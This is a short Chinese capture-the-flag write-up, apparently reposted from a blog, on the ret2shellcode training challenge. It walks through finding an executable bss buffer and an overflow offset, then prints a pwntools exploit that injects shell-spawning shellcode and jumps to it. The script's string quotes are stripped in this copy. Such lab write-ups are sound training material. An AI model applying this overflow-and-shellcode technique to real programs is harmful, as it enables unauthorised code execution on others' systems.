首页 > 系统服务 > 详细

[WP]CTFwiki-shellcode

时间:2019-11-17 18:58:57      阅读:85      评论:0      收藏:0      [点我收藏+]

1.运行程序,没有提供 system ,32位程序,基本未开保护

技术分享图片

 

2.IDA中发现 strncpy() 函数将我们输入的 v4 复制到 bss 段的 buf2 处

技术分享图片

 

技术分享图片

 

 

 3.经过 gdb 查看 buf2 处的代码是具有 rwx 属性的,因此我们可以构造一段 shellcode 然后执行此处的代码。

 技术分享图片

 

 4.查看 esp 和 ebp 来计算覆盖长度

技术分享图片

 

5.构造exp

#!/usr/bin/env python
from pwn import *

#EBP: 0xffffd158 --> 0x0 
#ESP: 0xffffd0d0 --> 0xffffd0ec --> 0xf7ffd000 --> 0x26f34 

sh = process(./ret2shellcode)
buf_addr = 0x0804A080
payload = asm(shellcraft.sh())
#sh.recvuntil()
length = 0x158 - 0xec + 4
sh.sendline(payload.ljust(length, a) + p32(buf_addr))
sh.interactive()

 

技术分享图片

 

 

 

[WP]CTFwiki-shellcode

原文:https://www.cnblogs.com/Tsuiyields/p/11877354.html

(0)
(0)
   
举报
评论 一句话评论(0
关于我们 - 联系我们 - 留言反馈 - 联系我们:wmxa8@hotmail.com
© 2014 bubuko.com 版权所有
打开技术之扣,分享程序人生!